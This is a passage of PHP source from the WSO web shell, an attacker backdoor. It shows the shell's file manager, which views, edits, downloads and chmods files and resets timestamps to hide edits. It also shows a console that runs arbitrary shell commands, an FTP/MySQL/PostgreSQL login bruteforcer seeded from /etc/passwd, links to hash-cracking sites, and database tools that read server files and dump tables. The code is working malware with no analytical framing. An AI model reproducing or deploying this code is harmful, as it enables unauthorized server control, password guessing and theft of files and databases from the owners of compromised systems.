782 $n = count($dirContent);
783 for ($i = 0; $i < $n; $i++)
784 {
785 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
786 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
787 $tmp = array(
788 'name' => $dirContent[$i],
789 'path' => $GLOBALS['cwd'] . $dirContent[$i],
790 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])) ,
791 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]) ,
792 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]) ,
793 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]) ,
794 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
795 );
796 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array(
797 'type' => 'file'
798 ));
799 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
800 'type' => 'link',
801 'link' => readlink($tmp['path'])
802 ));
803 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
804 'type' => 'dir'
805 ));
806 }
807
808 $GLOBALS['sort'] = $sort;
809 function wsoCmp($a, $b)
810 {
811 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]) , strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
812 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
813 }
814
815 usort($files, "wsoCmp");
816 usort($dirs, "wsoCmp");
817 $files = array_merge($dirs, $files);
818 $l = 0;
819 foreach($files as $f)
820 {
821 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
822 $l = $l ? 0 : 1;
823 }
824
825 echo "<tr><td colspan=7>
826 <input type=hidden name=a value='FilesMan'>
827 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
828 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
829 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
830 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
831 echo "<option value='tar'>Compress (tar.gz)</option>";
832 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
833 echo "</select> ";
834 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
835 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
836 wsoFooter();
837 }
838
839function actionStringTools()
840 {
841 if (!function_exists('hex2bin'))
842 {
843 function hex2bin($p)
844 {
845 return decbin(hexdec($p));
846 }
847 }
848
849 if (!function_exists('binhex'))
850 {
851 function binhex($p)
852 {
853 return dechex(bindec($p));
854 }
855 }
856
857 if (!function_exists('hex2ascii'))
858 {
859 function hex2ascii($p)
860 {
861 $r = '';
862 for ($i = 0; $i < strLen($p); $i+= 2)
863 {
864 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
865 }
866
867 return $r;
868 }
869 }
870
871 if (!function_exists('ascii2hex'))
872 {
873 function ascii2hex($p)
874 {
875 $r = '';
876 for ($i = 0; $i < strlen($p); ++$i) $r.= sprintf('%02X', ord($p[$i]));
877 return strtoupper($r);
878 }
879 }
880
881 if (!function_exists('full_urlencode'))
882 {
883 function full_urlencode($p)
884 {
885 $r = '';
886 for ($i = 0; $i < strlen($p); ++$i) $r.= '%' . dechex(ord($p[$i]));
887 return strtoupper($r);
888 }
889 }
890
891 $stringTools = array(
892 'Base64 encode' => 'base64_encode',
893 'Base64 decode' => 'base64_decode',
894 'Url encode' => 'urlencode',
895 'Url decode' => 'urldecode',
896 'Full urlencode' => 'full_urlencode',
897 'md5 hash' => 'md5',
898 'sha1 hash' => 'sha1',
899 'crypt' => 'crypt',
900 'CRC32' => 'crc32',
901 'ASCII to HEX' => 'ascii2hex',
902 'HEX to ASCII' => 'hex2ascii',
903 'HEX to DEC' => 'hexdec',
904 'HEX to BIN' => 'hex2bin',
905 'DEC to HEX' => 'dechex',
906 'DEC to BIN' => 'decbin',
907 'BIN to HEX' => 'binhex',
908 'BIN to DEC' => 'bindec',
909 'String to lower case' => 'strtolower',
910 'String to upper case' => 'strtoupper',
911 'Htmlspecialchars' => 'htmlspecialchars',
912 'String length' => 'strlen',
913 );
914 if (isset($_POST['ajax']))
915 {
916 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
917 ob_start();
918 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
919 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
920 echo strlen($temp) , "\n", $temp;
921 exit;
922 }
923
924 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
925 wsoHeader();
926 echo '<h1>String conversions</h1><div class=content>';
927 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
928 foreach($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
929 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br /><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
930 if (!empty($_POST['p1']))
931 {
932 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
933 }
934
935 echo "</pre></div><br /><h1>Search files:</h1><div class=content>
936 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
937 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
938 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
939 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
940 <tr><td></td><td><input type='submit' value='>>'></td></tr>
941 </table></form>";
942 function wsoRecursiveGlob($path)
943 {
944 if (substr($path, -1) != '/') $path.= '/';
945 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']) , @glob($path . '*', GLOB_ONLYDIR)));
946 if (is_array($paths) && @count($paths))
947 {
948 foreach($paths as $item)
949 {
950 if (@is_dir($item))
951 {
952 if ($path != $item) wsoRecursiveGlob($item);
953 }
954 else
955 {
956 if (empty($_POST['p2']) || @strpos(file_get_contents($item) , $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br />";
957 }
958 }
959 }
960 }
961
962 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
963 echo "</div><br /><h1>Search for hash:</h1><div class=content>
964 <form method='post' target='_blank' name='hf'>
965 <input type='text' name='hash' style='width:200px;'><br />
966 <input type='hidden' name='act' value='find'/>
967 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br />
968 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br />
969 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br />
970 </form></div>";
971 wsoFooter();
972 }
973
974function actionFilesTools()
975 {
976 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
977 if (@$_POST['p2'] == 'download')
978 {
979 if (@is_file($_POST['p1']) && @is_readable($_POST['p1']))
980 {
981 ob_start("ob_gzhandler", 4096);
982 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
983 if (function_exists("mime_content_type"))
984 {
985 $type = @mime_content_type($_POST['p1']);
986 header("Content-Type: " . $type);
987 }
988 else header("Content-Type: application/octet-stream");
989 $fp = @fopen($_POST['p1'], "r");
990 if ($fp)
991 {
992 while (!@feof($fp)) echo @fread($fp, 1024);
993 fclose($fp);
994 }
995 }
996
997 exit;
998 }
999
1000 if (@$_POST['p2'] == 'mkfile')
1001 {
1002 if (!file_exists($_POST['p1']))
1003 {
1004 $fp = @fopen($_POST['p1'], 'w');
1005 if ($fp)
1006 {
1007 $_POST['p2'] = "edit";
1008 fclose($fp);
1009 }
1010 }
1011 }
1012
1013 wsoHeader();
1014 echo '<h1>File tools</h1><div class=content>';
1015 if (!file_exists(@$_POST['p1']))
1016 {
1017 echo 'File not exists';
1018 wsoFooter();
1019 return;
1020 }
1021
1022 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1023 if (!$uid)
1024 {
1025 $uid['name'] = @fileowner($_POST['p1']);
1026 $gid['name'] = @filegroup($_POST['p1']);
1027 }
1028 else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1029 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br />';
1030 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br /><br />';
1031 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
1032 if (is_file($_POST['p1'])) $m = array(
1033 'View',
1034 'Highlight',
1035 'Download',
1036 'Hexdump',
1037 'Edit',
1038 'Chmod',
1039 'Rename',
1040 'Touch'
1041 );
1042 else $m = array(
1043 'Chmod',
1044 'Rename',
1045 'Touch'
1046 );
1047 foreach($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
1048 echo '<br /><br />';
1049 switch ($_POST['p2'])
1050 {
1051 case 'view':
1052 echo '<pre class=ml1>';
1053 $fp = @fopen($_POST['p1'], 'r');
1054 if ($fp)
1055 {
1056 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
1057 @fclose($fp);
1058 }
1059
1060 echo '</pre>';
1061 break;
1062
1063 case 'highlight':
1064 if (@is_readable($_POST['p1']))
1065 {
1066 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1067 $code = @highlight_file($_POST['p1'], true);
1068 echo str_replace(array(
1069 '<span ',
1070 '</span>'
1071 ) , array(
1072 '<font ',
1073 '</font>'
1074 ) , $code) . '</div>';
1075 }
1076
1077 break;
1078
1079 case 'chmod':
1080 if (!empty($_POST['p3']))
1081 {
1082 $perms = 0;
1083 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1084 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br /><script>document.mf.p3.value="";</script>';
1085 }
1086
1087 clearstatcache();
1088 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])) , -4) . '"><input type=submit value=">>"></form>';
1089 break;
1090
1091 case 'edit':
1092 if (!is_writable($_POST['p1']))
1093 {
1094 echo 'File isn\'t writeable';
1095 break;
1096 }
1097
1098 if (!empty($_POST['p3']))
1099 {
1100 $time = @filemtime($_POST['p1']);
1101 $_POST['p3'] = substr($_POST['p3'], 1);
1102 $fp = @fopen($_POST['p1'], "w");
1103 if ($fp)
1104 {
1105 @fwrite($fp, $_POST['p3']);
1106 @fclose($fp);
1107 echo 'Saved!<br /><script>p3_="";</script>';
1108 @touch($_POST['p1'], $time, $time);
1109 }
1110 }
1111
1112 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1113 $fp = @fopen($_POST['p1'], 'r');
1114 if ($fp)
1115 {
1116 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
1117 @fclose($fp);
1118 }
1119
1120 echo '</textarea><input type=submit value=">>"></form>';
1121 break;
1122
1123 case 'hexdump':
1124 $c = @file_get_contents($_POST['p1']);
1125 $n = 0;
1126 $h = array(
1127 '00000000<br />',
1128 '',
1129 ''
1130 );
1131 $len = strlen($c);
1132 for ($i = 0; $i < $len; ++$i)
1133 {
1134 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
1135 switch (ord($c[$i]))
1136 {
1137 case 0:
1138 $h[2].= ' ';
1139 break;
1140
1141 case 9:
1142 $h[2].= ' ';
1143 break;
1144
1145 case 10:
1146 $h[2].= ' ';
1147 break;
1148
1149 case 13:
1150 $h[2].= ' ';
1151 break;
1152
1153 default:
1154 $h[2].= $c[$i];
1155 break;
1156 }
1157
1158 $n++;
1159 if ($n == 32)
1160 {
1161 $n = 0;
1162 if ($i + 1 < $len)
1163 {
1164 $h[0].= sprintf('%08X', $i + 1) . '<br />';
1165 }
1166
1167 $h[1].= '<br />';
1168 $h[2].= "\n";
1169 }
1170 }
1171
1172 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1173 break;
1174
1175 case 'rename':
1176 if (!empty($_POST['p3']))
1177 {
1178 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br />';
1179 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1180 }
1181
1182 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1183 break;
1184
1185 case 'touch':
1186 if (!empty($_POST['p3']))
1187 {
1188 $time = strtotime($_POST['p3']);
1189 if ($time)
1190 {
1191 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
1192 else echo 'Touched!';
1193 }
1194 else echo 'Bad time format!';
1195 }
1196
1197 clearstatcache();
1198 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1199 break;
1200 }
1201
1202 echo '</div>';
1203 wsoFooter();
1204 }
1205
1206function actionConsole()
1207 {
1208 if (!empty($_POST['p1']) && !empty($_POST['p2']))
1209 {
1210 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
1211 $_POST['p1'].= ' 2>&1';
1212 }
1213 elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
1214 if (isset($_POST['ajax']))
1215 {
1216 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1217 ob_start();
1218 echo "d.cf.cmd.value='';\n";
1219 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']) , "\n\r\t\\'\0"));
1220 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match))
1221 {
1222 if (@chdir($match[1]))
1223 {
1224 $GLOBALS['cwd'] = @getcwd();
1225 echo "c_='" . $GLOBALS['cwd'] . "';";
1226 }
1227 }
1228
1229 echo "d.cf.output.value+='" . $temp . "';";
1230 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1231 $temp = ob_get_clean();
1232 echo strlen($temp) , "\n", $temp;
1233 exit;
1234 }
1235
1236 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1237 wsoHeader();
1238 echo "<script>
1239if(window.Event) window.captureEvents(Event.KEYDOWN);
1240var cmds = new Array('');
1241var cur = 0;
1242function kp(e) {
1243 var n = (window.Event) ? e.which : e.keyCode;
1244 if(n == 38) {
1245 cur--;
1246 if(cur>=0)
1247 document.cf.cmd.value = cmds[cur];
1248 else
1249 cur++;
1250 } else if(n == 40) {
1251 cur++;
1252 if(cur < cmds.length)
1253 document.cf.cmd.value = cmds[cur];
1254 else
1255 cur--;
1256 }
1257}
1258function add(cmd) {
1259 cmds.pop();
1260 cmds.push(cmd);
1261 cmds.push('');
1262 cur = cmds.length-1;
1263}
1264</script>";
1265 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1266 foreach($GLOBALS['aliases'] as $n => $v)
1267 {
1268 if ($v == '')
1269 {
1270 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1271 continue;
1272 }
1273
1274 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1275 }
1276
1277 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1278 if (!empty($_POST['p1']))
1279 {
1280 echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1281 }
1282
1283 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1284 echo '</form></div><script>d.cf.cmd.focus();</script>';
1285 wsoFooter();
1286 }
1287
1288function actionLogout()
1289 {
1290 setcookie(md5($_SERVER['HTTP_HOST']) , '', time() - 3600);
1291 die('bye!');
1292 }
1293
1294function actionSelfRemove()
1295 {
1296 if ($_POST['p1'] == 'yes')
1297 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
1298 else echo 'unlink error!';
1299 if ($_POST['p1'] != 'yes') wsoHeader();
1300 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1301 wsoFooter();
1302 }
1303
1304function actionBruteforce()
1305 {
1306 wsoHeader();
1307 if (isset($_POST['proto']))
1308 {
1309 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br />';
1310 if ($_POST['proto'] == 'ftp')
1311 {
1312 function wsoBruteForce($ip, $port, $login, $pass)
1313 {
1314 $fp = @ftp_connect($ip, $port ? $port : 21);
1315 if (!$fp) return false;
1316 $res = @ftp_login($fp, $login, $pass);
1317 @ftp_close($fp);
1318 return $res;
1319 }
1320 }
1321 elseif ($_POST['proto'] == 'mysql')
1322 {
1323 function wsoBruteForce($ip, $port, $login, $pass)
1324 {
1325 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306) , $login, $pass);
1326 @mysql_close($res);
1327 return $res;
1328 }
1329 }
1330 elseif ($_POST['proto'] == 'pgsql')
1331 {
1332 function wsoBruteForce($ip, $port, $login, $pass)
1333 {
1334 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1335 $res = @pg_connect($str);
1336 @pg_close($res);
1337 return $res;
1338 }
1339 }
1340
1341 $success = 0;
1342 $attempts = 0;
1343 $server = explode(":", $_POST['server']);
1344 if ($_POST['type'] == 1)
1345 {
1346 $temp = @file('/etc/passwd');
1347 if (is_array($temp))
1348 foreach($temp as $line)
1349 {
1350 $line = explode(":", $line);
1351 ++$attempts;
1352 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0]))
1353 {
1354 $success++;
1355 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br />';
1356 }
1357
1358 if (@$_POST['reverse'])
1359 {
1360 $tmp = "";
1361 for ($i = strlen($line[0]) - 1; $i >= 0; --$i) $tmp.= $line[0][$i];
1362 ++$attempts;
1363 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp))
1364 {
1365 $success++;
1366 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1367 }
1368 }
1369 }
1370 }
1371 elseif ($_POST['type'] == 2)
1372 {
1373 $temp = @file($_POST['dict']);
1374 if (is_array($temp))
1375 foreach($temp as $line)
1376 {
1377 $line = trim($line);
1378 ++$attempts;
1379 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line))
1380 {
1381 $success++;
1382 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br />';
1383 }
1384 }
1385 }
1386
1387 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br />";
1388 }
1389
1390 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1391 echo '</div><br />';
1392 wsoFooter();
1393 }
1394
1395function actionSql()
1396 {
1397 class DbClass
1398
1399 {
1400 var $type;
1401 var $link;
1402 var $res;
1403 function DbClass($type)
1404 {
1405 $this->type = $type;
1406 }
1407
1408 function connect($host, $user, $pass, $dbname)
1409 {
1410 switch ($this->type)
1411 {
1412 case 'mysql':
1413 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1414 break;
1415
1416 case 'pgsql':
1417 $host = explode(':', $host);
1418 if (!$host[1]) $host[1] = 5432;
1419 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1420 break;
1421 }
1422
1423 return false;
1424 }
1425
1426 function selectdb($db)
1427 {
1428 switch ($this->type)
1429 {
1430 case 'mysql':
1431 if (@mysql_select_db($db)) return true;
1432 break;
1433 }
1434
1435 return false;
1436 }
1437
1438 function query($str)
1439 {
1440 switch ($this->type)
1441 {
1442 case 'mysql':
1443 return $this->res = @mysql_query($str);
1444 break;
1445
1446 case 'pgsql':
1447 return $this->res = @pg_query($this->link, $str);
1448 break;
1449 }
1450
1451 return false;
1452 }
1453
1454 function fetch()
1455 {
1456 $res = func_num_args() ? func_get_arg(0) : $this->res;
1457 switch ($this->type)
1458 {
1459 case 'mysql':
1460 return @mysql_fetch_assoc($res);
1461 break;
1462
1463 case 'pgsql':
1464 return @pg_fetch_assoc($res);
1465 break;
1466 }
1467
1468 return false;
1469 }
1470
1471 function listDbs()
1472 {
1473 switch ($this->type)
1474 {
1475 case 'mysql':
1476 return $this->query("SHOW databases");
1477 break;
1478
1479 case 'pgsql':
1480 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1481 break;
1482 }
1483
1484 return false;
1485 }
1486
1487 function listTables()
1488 {
1489 switch ($this->type)
1490 {
1491 case 'mysql':
1492 return $this->res = $this->query('SHOW TABLES');
1493 break;
1494
1495 case 'pgsql':
1496 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1497 break;
1498 }
1499
1500 return false;
1501 }
1502
1503 function error()
1504 {
1505 switch ($this->type)
1506 {
1507 case 'mysql':
1508 return @mysql_error();
1509 break;
1510
1511 case 'pgsql':
1512 return @pg_last_error();
1513 break;
1514 }
1515
1516 return false;
1517 }
1518
1519 function setCharset($str)
1520 {
1521 switch ($this->type)
1522 {
1523 case 'mysql':
1524 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1525 else $this->query('SET CHARSET ' . $str);
1526 break;
1527
1528 case 'pgsql':
1529 return @pg_set_client_encoding($this->link, $str);
1530 break;
1531 }
1532
1533 return false;
1534 }
1535
1536 function loadFile($str)
1537 {
1538 switch ($this->type)
1539 {
1540 case 'mysql':
1541 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1542 break;
1543
1544 case 'pgsql':
1545 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1546 $r = array();
1547 while ($i = $this->fetch()) $r[] = $i['file'];
1548 $this->query('drop table wso2');
1549 return array(
1550 'file' => implode("\n", $r)
1551 );
1552 break;
1553 }
1554
1555 return false;
1556 }
1557
1558 function dump($table, $fp = false)
1559 {
1560 switch ($this->type)
1561 {
1562 case 'mysql':
1563 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1564 $create = mysql_fetch_array($res);
1565 $sql = $create[1] . ";\n";
1566 if ($fp) fwrite($fp, $sql);
1567 else echo ($sql);
1568 $this->query('SELECT * FROM `' . $table . '`');
1569 $i = 0;
1570 $head = true;
1571 while ($item = $this->fetch())
1572 {
1573 $sql = '';
1574 if ($i % 1000 == 0)
1575 {
1576 $head = true;
1577 $sql = ";\n\n";
1578 }
1579
1580 $columns = array();
1581 foreach($item as $k => $v)
1582 {
1583 if ($v === null) $item[$k] = "NULL";
1584 elseif (is_int($v)) $item[$k] = $v;
1585 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1586 $columns[] = "`" . $k . "`";
1587 }
1588
1589 if ($head)
1590 {
1591 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1592 $head = false;
1593 }
1594 else $sql.= "\n\t,(" . implode(", ", $item) . ')';
1595 if ($fp) fwrite($fp, $sql);
1596 else echo ($sql);
1597 $i++;
1598 }
1599
1600 if (!$head)
1601 if ($fp) fwrite($fp, ";\n\n");
1602 else echo (";\n\n");
1603 break;
1604
1605 case 'pgsql':
1606 $this->query('SELECT * FROM ' . $table);
